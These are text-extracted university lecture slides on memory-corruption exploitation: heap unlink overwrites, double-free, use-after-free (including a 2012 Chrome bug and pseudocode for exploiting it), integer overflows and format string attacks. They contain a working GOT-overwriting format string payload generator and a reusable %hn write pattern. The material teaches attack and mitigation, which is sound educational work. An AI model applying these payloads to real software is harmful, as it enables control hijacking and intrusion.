Yet More Buffer Overflows

Similar documents
Changelog. Corrections made in this version not in first posting: 1 April 2017: slide 13: a few more %c s would be needed to skip format string part

Memory Corruption 101 From Primitives to Exploit

Play with FILE Structure Yet Another Binary Exploitation Technique. Abstract

Defeat Exploit Mitigation Heap Attacks. compass-security.com 1

Secure Coding in C and C++

Lecture 4 September Required reading materials for this class

Secure Coding in C and C++ Dynamic Memory Management Lecture 5 Jan 29, 2013

Beyond Stack Smashing: Recent Advances in Exploiting. Jonathan Pincus(MSR) and Brandon Baker (MS)

Intrusion Detection and Malware Analysis

CSCI-243 Exam 1 Review February 22, 2015 Presented by the RIT Computer Science Community

Get the (Spider)monkey off your back

Security Workshop HTS. LSE Team. February 3rd, 2016 EPITA / 40

CS61, Fall 2012 Section 2 Notes

CSE 509: Computer Security

Heap Arrays. Steven R. Bagley

Identifying Memory Corruption Bugs with Compiler Instrumentations. 이병영 ( 조지아공과대학교

Outline. Format string attack layout. Null pointer dereference

CS 161 Computer Security

CS 31: Intro to Systems Pointers and Memory. Martin Gagne Swarthmore College February 16, 2016

ELEC / COMP 177 Fall Some slides from Kurose and Ross, Computer Networking, 5 th Edition

Week 5, continued. This is CS50. Harvard University. Fall Cheng Gong

CS 31: Intro to Systems Pointers and Memory. Kevin Webb Swarthmore College October 2, 2018

Memory Corruption Vulnerabilities, Part II

CS 11 C track: lecture 5

Lecture 8 Dynamic Memory Allocation

CSci 4061 Introduction to Operating Systems. Programs in C/Unix

Heap Off by 1 Overflow Illustrated. Eric Conrad October 2007

malloc() is often used to allocate chunk of memory dynamically from the heap region. Each chunk contains a header and free space (the buffer in which

Secure Software Programming and Vulnerability Analysis

Software Security II: Memory Errors - Attacks & Defenses

Memory Safety (cont d) Software Security

Exploit Mitigation - PIE

Exploits and gdb. Tutorial 5

CSC 591 Systems Attacks and Defenses Stack Canaries & ASLR

CS107 Handout 08 Spring 2007 April 9, 2007 The Ins and Outs of C Arrays

Lecture 1: Buffer Overflows

Machine-Level Programming V: Unions and Memory layout

Systems Programming. 08. Standard I/O Library. Alexander Holupirek

In Java we have the keyword null, which is the value of an uninitialized reference type

Last week. Data on the stack is allocated automatically when we do a function call, and removed when we return

CS24: INTRODUCTION TO COMPUTING SYSTEMS. Spring 2017 Lecture 7

CSCE 548 Building Secure Software Buffer Overflow. Professor Lisa Luo Spring 2018

CS 261 Fall Mike Lam, Professor. Structs and I/O

logistics CHALLENGE assignment take-home portion of the final next class final exam review

Lecture 08 Control-flow Hijacking Defenses

Lecture 07 Heap control data. Stephen Checkoway University of Illinois at Chicago

ISA564 SECURITY LAB. Code Injection Attacks

CSC 1600 Memory Layout for Unix Processes"

Homework 3 CS161 Computer Security, Fall 2008 Assigned 10/07/08 Due 10/13/08

CS 241 Honors Memory

Pointers in C/C++ 1 Memory Addresses 2

Lecture 14 Notes. Brent Edmunds

A brief introduction to C programming for Java programmers

Software Security: Buffer Overflow Attacks (continued)

CS 222: Pointers and Manual Memory Management

Memory Allocation in C C Programming and Software Tools. N.C. State Department of Computer Science

Dynamic Memory Management

DAY 3. CS3600, Northeastern University. Alan Mislove

Basic Buffer Overflows

Software Security: Buffer Overflow Attacks

C for C++ Programmers

System Security Class Notes 09/23/2013

CA341 - Comparative Programming Languages

Cling: A Memory Allocator to Mitigate Dangling Pointers. Periklis Akritidis

CSE 303: Concepts and Tools for Software Development

Dynamic memory. EECS 211 Winter 2019

Intermediate Programming, Spring 2017*

Advanced Computer Networks Smashing the Stack for Fun and Profit

Buffer overflow prevention, and other attacks

ECS 153 Discussion Section. April 6, 2015

CSE 127 Computer Security

Code Injection Attacks Buffer Overflows

Short Notes of CS201

Foundations of Network and Computer Security

ECE 250 / CS 250 Computer Architecture. C to Binary: Memory & Data Representations. Benjamin Lee

Heap Arrays and Linked Lists. Steven R. Bagley

CS201 - Introduction to Programming Glossary By

CYSE 411/AIT681 Secure Software Engineering Topic #12. Secure Coding: Formatted Output

2/9/18. CYSE 411/AIT681 Secure Software Engineering. Readings. Secure Coding. This lecture: String management Pointer Subterfuge

Outline. Heap meta-data. Non-control data overwrite

CSci 4061 Introduction to Operating Systems. Input/Output: High-level

Dynamic Memory Allocation: Advanced Concepts

211: Computer Architecture Summer 2016

(13-2) Dynamic Data Structures I H&K Chapter 13. Instructor - Andrew S. O Fallon CptS 121 (November 17, 2017) Washington State University

ENCM 339 Fall 2017 Tutorial for Week 8

CMPSC 497 Other Memory Vulnerabilities

Slide Set 3. for ENCM 339 Fall 2017 Section 01. Steve Norman, PhD, PEng

CPSC 213. Introduction to Computer Systems. Winter Session 2017, Term 2. Unit 1c Jan 24, 26, 29, 31, and Feb 2

Other array problems. Integer overflow. Outline. Integer overflow example. Signed and unsigned

CSE / / 60567: Computer Security. Software Security 4

Runtime Defenses against Memory Corruption

Software Vulnerabilities August 31, 2011 / CS261 Computer Security

Review: C Strings. A string in C is just an array of characters. Lecture #4 C Strings, Arrays, & Malloc

Agenda. Dynamic Memory Management. Robert C. Seacord. Secure Coding in C and C++

Class Information ANNOUCEMENTS

CS61C Machine Structures. Lecture 5 C Structs & Memory Mangement. 1/27/2006 John Wawrzynek. www-inst.eecs.berkeley.edu/~cs61c/

One-Slide Summary. Lecture Outline. Language Security

Under the Hood: Data Representations, Memory and Bit Operations. Computer Science 104 Lecture 3

Buffer Overflow. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University

Memory (Stack and Heap)

Transcription:

Yet More Buffer Overflows 1

Changelog 1 Corrections made in this version not in first posting: 1 April 2017: slide 41: a few more %c s would be needed to skip format string part

last time: pointer subterfuge 3 pointer subterfuge overwrite a pointer overwritten pointer used to overwrite/access somewhere else many ways this translates into exploit

last time: targets for pointers 4 many targets for attacker change important data directly change return addresses, then have return happen change function pointer, then have it called typically: rely on code address being used soon same as stack smashing but not necessairily return address which is used depends on context different situations will make different ones easier/possible

last time: frame pointer overwrite 5 way off-by-one errors were a problem many idea: frame pointer often next to buffer frame pointer used to locate return address changing frame pointer effectively changes return address

beyond normal buffer overflows pretty much every memory error is a problem will look at exploiting: off-by-one buffer overflows (!) heap buffer overflows double-frees use-after-free integer overflows in size calculations 6

beyond normal buffer overflows pretty much every memory error is a problem will look at exploiting: off-by-one buffer overflows (!) heap buffer overflows double-frees use-after-free integer overflows in size calculations 7

easy heap overflows 8 struct foo { char buffer[100]; void (*func_ptr)(void); }; increasing addresses func_ptr buffer

heap overflow: adjacent allocations 9 class V { char buffer[100]; public: virtual void...;... };... V *first = new V(...); V *second = new V(...); strcpy(first >buffer, attacker_controlled); increasing addresses the heap second s buffer second s vtable first s buffer first s vtable

heap overflow: adjacent allocations 9 class V { char buffer[100]; public: virtual void...;... };... V *first = new V(...); V *second = new V(...); strcpy(first >buffer, attacker_controlled); increasing addresses the heap second s buffer second s vtable first s buffer first s vtable result of overflowing buffer

heap smashing 10 lucky adjancent objects same things possible on stack but stack overflows had nice generic stack smashing is there an equivalent for the heap? yes (mostly)

diversion: implementing malloc/new 11 many ways to implement malloc/new we will talk about one common technique

12 heap object struct AllocInfo { bool free; int size; AllocInfo *prev; AllocInfo *next; }; free space (deleted obj.) next prev size/free new d object size/free free free space free space next prev size/free next prev size/free

implementing free() 13 int free(void *object) {... block_after = object + object_size; if (block_after >free) { /* unlink from list */ new_block >size += block_after >size; block_after >prev >next = block_after >next; block_after >next >prev = block_after >prev; }... }

implementing free() int free(void *object) {... block_after = object + object_size; if (block_after >free) { /* unlink from list */ new_block >size += block_after >size; block_after >prev >next = block_after >next; block_after >next >prev = block_after >prev; }... } arbitrary memory write 13

14 vulnerable code char *buffer = malloc(100);... strcpy(buffer, attacker_supplied);... free(buffer); free(other_thing);... free space next prev size/free alloc d object size/free free space next prev size/free

14 vulnerable code char *buffer = malloc(100);... strcpy(buffer, attacker_supplied);... free(buffer); free(other_thing);... shellcode (or system()?) GOT entry: free GOT entry: malloc GOT entry: printf GOT entry: fopen free space next prev size/free alloc d object size/free free space next prev size/free

14 vulnerable code char *buffer = malloc(100);... strcpy(buffer, attacker_supplied);... free(buffer); free(other_thing);... shellcode (or system()?) free space next prev size/free alloc d object size/free next prev size/free GOT entry: free GOT entry: malloc GOT entry: printf GOT entry: fopen free space next prev size/free

beyond normal buffer overflows pretty much every memory error is a problem will look at exploiting: off-by-one buffer overflows (!) heap buffer overflows double-frees use-after-free integer overflows in size calculations 15

16 double-frees free(thing); free(thing); char *p = malloc(...); // p points to next/prev // on list of avail. // blocks strcpy(p, attacker_controlled); malloc(...); char *q = malloc(...); // q points to attacker- // chosen address strcpy(q, attacker_controlled2);... free space next prev size alloc d object size alloc d object thing size

16 double-frees free(thing); free(thing); char *p = malloc(...); // p points to next/prev // on list of avail. // blocks strcpy(p, attacker_controlled); malloc(...); char *q = malloc(...); // q points to attacker- // chosen address strcpy(q, attacker_controlled2);... free space next prev size alloc d object size alloc d object thing/p next prev size

16 double-frees free(thing); free(thing); char *p = malloc(...); // p points to next/prev // on list of avail. // blocks strcpy(p, attacker_controlled); malloc(...); char *q = malloc(...); // q points to attacker- // chosen address strcpy(q, attacker_controlled2);... malloc returns something still on free list because double-free made loop in linked list free space next prev size alloc d object size alloc d object thing/p next prev size

double-free expansion // free/delete 1: double_freed >next = first_free; first_free = chunk; // free/delete 2: double_freed >next = first_free; first_free = chunk // malloc/new 1: result1 = first_free; first_free = first_free >next; // + overwrite: strcpy(result1,...); // malloc/new 2: first_free = first_free >next; // malloc/new 3: result3 = first_free; strcpy(result3,...); next / double free d object size (original first free) first_free (global) 17

double-free expansion // free/delete 1: double_freed >next = first_free; first_free = chunk; // free/delete 2: double_freed >next = first_free; first_free = chunk // malloc/new 1: result1 = first_free; first_free = first_free >next; // + overwrite: strcpy(result1,...); // malloc/new 2: first_free = first_free >next; // malloc/new 3: result3 = first_free; strcpy(result3,...); next / double free d object size (original first free) first_free (global) 17

double-free expansion // free/delete 1: double_freed >next = first_free; first_free = chunk; // free/delete 2: double_freed >next = first_free; first_free = chunk // malloc/new 1: result1 = first_free; first_free = first_free >next; // + overwrite: strcpy(result1,...); // malloc/new 2: first_free = first_free >next; // malloc/new 3: result3 = first_free; strcpy(result3,...); next / double free d object size (original first free) first_free (global) 17

double-free expansion // free/delete 1: double_freed >next = first_free; first_free = chunk; // free/delete 2: double_freed >next = first_free; first_free = chunk // malloc/new 1: result1 = first_free; first_free = first_free >next; // + overwrite: strcpy(result1,...); // malloc/new 2: first_free = first_free >next; // malloc/new 3: result3 = first_free; strcpy(result3,...); first/second malloc next / double free d object size (original first free) first_free (global) GOT entry: free 17

double-free expansion // free/delete 1: double_freed >next = first_free; first_free = chunk; // free/delete 2: double_freed >next = first_free; first_free = chunk // malloc/new 1: result1 = first_free; first_free = first_free >next; // + overwrite: strcpy(result1,...); // malloc/new 2: first_free = first_free >next; // malloc/new 3: result3 = first_free; strcpy(result3,...); first/second malloc next / double free d object size (original first free) first_free (global) GOT entry: free third malloc 17

double-free notes 18 this attack has apparently not been possible for a while most malloc/new s check for double-frees explicitly (e.g., look for a bit in size data) prevents this issue also catches programmer errors pretty cheap

beyond normal buffer overflows pretty much every memory error is a problem will look at exploiting: off-by-one buffer overflows (!) heap buffer overflows double-frees use-after-free integer overflows in size calculations 19

vulnerable code 20 class Foo { something_else likely where the_foo was... }; Foo *the_foo; the_foo = new Foo;... delete the_foo;... something_else = new Bar(...); the_foo >something();

vulnerable code 20 class Foo {... }; Foo *the_foo; the_foo = new Foo;... delete the_foo;... something_else = new Bar(...); the_foo >something(); something_else likely where the_foo was vtable ptr (Foo) data for Foo vtable ptr (Bar)? other data? data for Bar

21 C++ inheritence: memory layout InputStream vtable pointer SeekableInputStream vtable pointer FileInputStream vtable pointer file_pointer slot for get slot for get slot for seek slot for tell FileInputStream::get FileinputStream::seek FileInputStream::tell

exploiting use after-free 22 trigger many bogus frees; then allocate many things of same size with right pattern pointers to shellcode? pointers to pointers to system()? objects with something useful in VTable entry? trigger use-after-free thing

real UAF exploitable bug 23 2012 bug in Google Chrome exploitable via JavaScript discovered/proof of concept by PinkiePie allowed arbitrary code execution via VTable manipulation despite exploit mitigations (we ll revisit this later)

UAF triggering code // in HTML near this JavaScript: // <video id="vid"> (video player element) function source_opened() { buffer = ms.addsourcebuffer('video/webm; codecs="vorbis,vp8"'); vid.parentnode.removechild(vid); gc(); // force garbage collector to run now // garbage collector frees unreachable objects // (would be run automatically, eventually, too) // buffer now internally refers to delete'd player object buffer.timestampoffset = 42; } ms = new WebKitMediaSource(); ms.addeventlistener('webkitsourceopen', source_opened); vid.src = window.url.createobjecturl(ms); via https://bugs.chromium.org/p/chromium/issues/detail?id=162835 24

UAF triggering code // in HTML near this JavaScript: // <video id="vid"> (video player element) function source_opened() { buffer = ms.addsourcebuffer('video/webm; codecs="vorbis,vp8"'); vid.parentnode.removechild(vid); gc(); // force garbage collector to run now // garbage collector frees unreachable objects // (would be run automatically, eventually, too) // buffer now internally refers to delete'd player object buffer.timestampoffset = 42; } ms = new WebKitMediaSource(); ms.addeventlistener('webkitsourceopen', source_opened); vid.src = window.url.createobjecturl(ms); via https://bugs.chromium.org/p/chromium/issues/detail?id=162835 24

UAF triggering code // in HTML near this JavaScript: // <video id="vid"> (video player element) function source_opened() { buffer = ms.addsourcebuffer('video/webm; codecs="vorbis,vp8"'); vid.parentnode.removechild(vid); gc(); // force garbage collector to run now // garbage collector frees unreachable objects // (would be run automatically, eventually, too) // buffer now internally refers to delete'd player object buffer.timestampoffset = 42; } ms = new WebKitMediaSource(); ms.addeventlistener('webkitsourceopen', source_opened); vid.src = window.url.createobjecturl(ms); via https://bugs.chromium.org/p/chromium/issues/detail?id=162835 24

UAF triggering code // // in implements HTML near this JavaScript JavaScript: buffer.timestampoffset = 42 // void <video SourceBuffer::setTimestampOffset(...) id="vid"> (video player element) { functionif source_opened() (m_source >settimestampoffset(...)) { buffer =... ms.addsourcebuffer('video/webm; codecs="vorbis,vp8"'); vid.parentnode.removechild(vid); } gc(); bool MediaSource::setTimestampOffset(...) // force garbage collector to run now{ // garbage // m_player collector was deleted frees unreachable when videoobjects player element deleted // (would // butbethis run automatically, does *not* eventually, use a VTabletoo) // buffer if (!m_player >sourcesettimestampoffset(id, now internally refers to delete'd player offset)) object buffer.timestampoffset... = 42; } } ms bool = newmediaplayer::sourcesettimestampoffset(...) WebKitMediaSource(); { ms.addeventlistener('webkitsourceopen', // m_private deleted when MediaPlayer source_opened); deleted vid.src // = this window.url.createobjecturl(ms); *is* a VTable-based call return m_private >sourcesettimestampoffset(id, offset); } via https://bugs.chromium.org/p/chromium/issues/detail?id=162835 24

UAF triggering code // // in implements HTML near this JavaScript JavaScript: buffer.timestampoffset = 42 // void <video SourceBuffer::setTimestampOffset(...) id="vid"> (video player element) { functionif source_opened() (m_source >settimestampoffset(...)) { buffer =... ms.addsourcebuffer('video/webm; codecs="vorbis,vp8"'); vid.parentnode.removechild(vid); } gc(); bool MediaSource::setTimestampOffset(...) // force garbage collector to run now{ // garbage // m_player collector was deleted frees unreachable when videoobjects player element deleted // (would // butbethis run automatically, does *not* eventually, use a VTabletoo) // buffer if (!m_player >sourcesettimestampoffset(id, now internally refers to delete'd player offset)) object buffer.timestampoffset... = 42; } } ms bool = newmediaplayer::sourcesettimestampoffset(...) WebKitMediaSource(); { ms.addeventlistener('webkitsourceopen', // m_private deleted when MediaPlayer source_opened); deleted vid.src // = this window.url.createobjecturl(ms); *is* a VTable-based call return m_private >sourcesettimestampoffset(id, offset); } via https://bugs.chromium.org/p/chromium/issues/detail?id=162835 24

UAF exploit (pseudocode) 25... /* use information leaks to find relevant addresses */ buffer = ms.addsourcebuffer('video/webm; codecs="vorbis,vp8"'); vid.parentnode.removechild(vid); vid = null; gc(); // allocate object to replace m_private var array = new Uint32Array(168/4); // allocate object to replace m_player // type chosen to keep m_private pointer unchanged rtc = new webkitrtcpeerconnection({'iceservers': []});... /* fill ia with chosen addresses */ // trigger VTable Call that uses chosen address buffer.timestampoffset = 42;

missing pieces: information disclosure 26 need to learn address to set VTable pointer to (and other addresses to use) allocate types other than Uint32Array rely on confusing between different types, e.g.: MediaPlayer (deleted but used) m_private (pointer to PlayerImpl) m_timestampoffset (double) Something (replacement) m_buffer (pointer)

use-after-free easy cases 27 common problem for JavaScript implementations use-after-free d object often some complex C++ object example: representation of video stream exploits can choose type of object that replaces allocate that kind of object in JS can often arrange to read/write vtable pointer depends on layout of thing created easy examples: string, array of floating point numbers

beyond normal buffer overflows pretty much every memory error is a problem will look at exploiting: off-by-one buffer overflows (!) heap buffer overflows double-frees use-after-free integer overflows in size calculations 28

integer overflow example 29 item *load_items(int len) { int total_size = len * sizeof(item); if (total_size >= LIMIT) { return NULL; } item *items = malloc(total_size); for (int i = 0; i < len; ++i) { int failed = read_item(&items[i]); if (failed) { free(items); return NULL; } } return items; } len = 0x4000 0001 sizeof(item) = 0x10 total_size = 0x4 0000 0010

integer overflow example 29 item *load_items(int len) { int total_size = len * sizeof(item); if (total_size >= LIMIT) { return NULL; } item *items = malloc(total_size); for (int i = 0; i < len; ++i) { int failed = read_item(&items[i]); if (failed) { free(items); return NULL; } } return items; } len = 0x4000 0001 sizeof(item) = 0x10 total_size = 0x4 0000 0010

integer under/overflow: real example part of another Google Chrome exploit by Pinkie Pie: // In graphics command processing code: uint32 ComputeMaxResults(size_t size_of_buffer) { return (size_of_buffer sizeof(uint32)) / sizeof(t); } size_t ComputeSize(size_t num_results) { return sizeof(t) * num_results + sizeof(uint32); } // exploit: size_of_buffer < sizeof(uint32) result: write 8 bytes after buffer sometimes overwrites data pointer via https://blog.chromium.org/2012/05/tale-of-two-pwnies-part-1.html 30

special exploits 31 format string exploits topic of next homework

format string exploits 32 printf("the command you entered "); printf(command); printf("was not recognized.\n");

format string exploits 32 printf("the command you entered "); printf(command); printf("was not recognized.\n"); what if command is %s?

viewing the stack 33 $ cat test format.c #include <stdio.h> int main(void) { char buffer[100]; while(fgets(buffer, sizeof buffer, stdin)) { printf(buffer); } } $./test format.exe %016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx 00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36 3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520

viewing the stack 33 $ cat test format.c #include <stdio.h> int main(void) { char buffer[100]; while(fgets(buffer, sizeof buffer, stdin)) { printf(buffer); 25 30 31 36 6c 78 20 is ASCII for %016lx } } $./test format.exe %016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx 00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36 3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520

viewing the stack 33 $ cat test format.c #include <stdio.h> int main(void) { char buffer[100]; while(fgets(buffer, sizeof buffer, stdin)) { printf(buffer); second argument to printf: %rsi } } $./test format.exe %016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx 00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36 3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520

viewing the stack 33 $ cat test format.c #include <stdio.h> int main(void) { char buffer[100]; while(fgets(buffer, sizeof buffer, stdin)) { thirdprintf(buffer); through fifth argument to printf: %rdx, %rcx, %r8, %r9 } } $./test format.exe %016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx 00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36 3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520

viewing the stack 33 $ cat test format.c #include <stdio.h> int main(void) { char buffer[100]; while(fgets(buffer, sizeof buffer, stdin)) { printf(buffer); 16 bytes of stack after return address } } $./test format.exe %016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx 00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36 3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520

viewing the stack not so bad, right? 34 can read stack canaries! but actually much worse can write values!

printf manpage 35 For %n: The number of characters written so far is stored into the integer pointed to by the corresponding argument. That argument shall be an int *, or variant whose size matches the (optionally) supplied integer length modifier.

printf manpage 35 For %n: The number of characters written so far is stored into the integer pointed to by the corresponding argument. That argument shall be an int *, or variant whose size matches the (optionally) supplied integer length modifier. %hn expect short instead of int *

format string exploit: setup #include <stdlib.h> #include <stdio.h> int exploited() { printf("got here!\n"); exit(0); } int main(void) { char buffer[100]; while (fgets(buffer, sizeof buffer, stdin)) { printf(buffer); } } 36

format string overwrite: GOT 37 0000000000400580 <fgets@plt>: 400580: ff 25 9a 0a 20 00 jmpq *0x200a9a(%rip) # 601038 <_GLOBAL_OFFSET_TABLE_+0x30> 0000000000400706 <exploited>:... goal: replace 0x601030 (pointer to fgets) with 0x400726 (pointer to exploited)

format string overwrite: setup 38 /* advance through 5 registers, then * 5 * 8 = 40 bytes down stack, outputting * 4916157 + 9 characters before using * %ln to store a long. */ fputs("%c%c%c%c%c%c%c%c%c%.4196157u%ln", stdout); /* include 5 bytes of padding to make current location * in buffer match where on the stack printf will be reading. */ fputs("?????", stdout); void *ptr = (void*) 0x601038; /* write pointer value, which will include \0s */ fwrite(&ptr, 1, sizeof(ptr), stdout); fputs("\n", stdout);

demo 39

demo 40 but millions of characters of junk output? can do better write value in multiple pieces use multiple %n

format string exploit pattern (x86-64) 41 write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address %c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xef \x12\x34\x56\x78\x90\xab\xcd\xf1

format string exploit pattern (x86-64) 41 write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address skip over registers %c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xef \x12\x34\x56\x78\x90\xab\xcd\xf1

format string exploit pattern (x86-64) 41 write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address skip to format string buffer, past format part %c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xef \x12\x34\x56\x78\x90\xab\xcd\xf1

format string exploit pattern (x86-64) 41 write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address 9 + 991 chars is 1000 %c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xef \x12\x34\x56\x78\x90\xab\xcd\xf1

format string exploit pattern (x86-64) 41 write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address write to first pointer %c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xef \x12\x34\x56\x78\x90\xab\xcd\xf1

format string exploit pattern (x86-64) 41 write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address 1000 + 1000 = 2000 %c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xef \x12\x34\x56\x78\x90\xab\xcd\xf1

format string exploit pattern (x86-64) 41 write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address write to second pointer %c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xef \x12\x34\x56\x78\x90\xab\xcd\xf1

format string assignment 42 released Friday one week good global variable to target to keep it simple/consistently working more realistic: target GOT entry and use return oriented programming (later)

control hijacking generally 43 usually: need to know/guess program addresses usually: need to insert executable code usually: need to overwrite code addresses next topic: countermeasures against these later topic: defeating those later later topic: secure programming languages

control hijacking flexibility 44 lots of generic pointers to code vtables, GOT entries, function pointers, return addresses pretty much any large program data pointer overwrites become code pointer overwrites overwrite data pointer to point to code pointer data pointers are everywhere! type confusion from use-after-free is pointer overwrite bounds-checking won t solve all problems

first mitigation: stack canaries 45 saw: stack canaries tries to stop: overwriting code addresses (as long it s return addresses) by assuming: compile-in protection attacker can t read off the stack attacker can t skip parts of the stack

second mitigation: address space randomization 46 problem for the stack smashing assignment tries to stop: know/guess programming addresses by assuming: program doesn t leak addresses relevant addresses can be changed (not hard-coded in program)

thinking about the threat 47 contiguous versus arbitrary writes? just protect next to target? just protect next to buffer? information disclosure or not?

convincing developers 48 legacy code? manual effort? performance overhead? memory overhead?

ideas for mitigations 49

next time 50 comparing mitigations what do they assume the attacker can do? effect on performance? recompilation? rewriting code?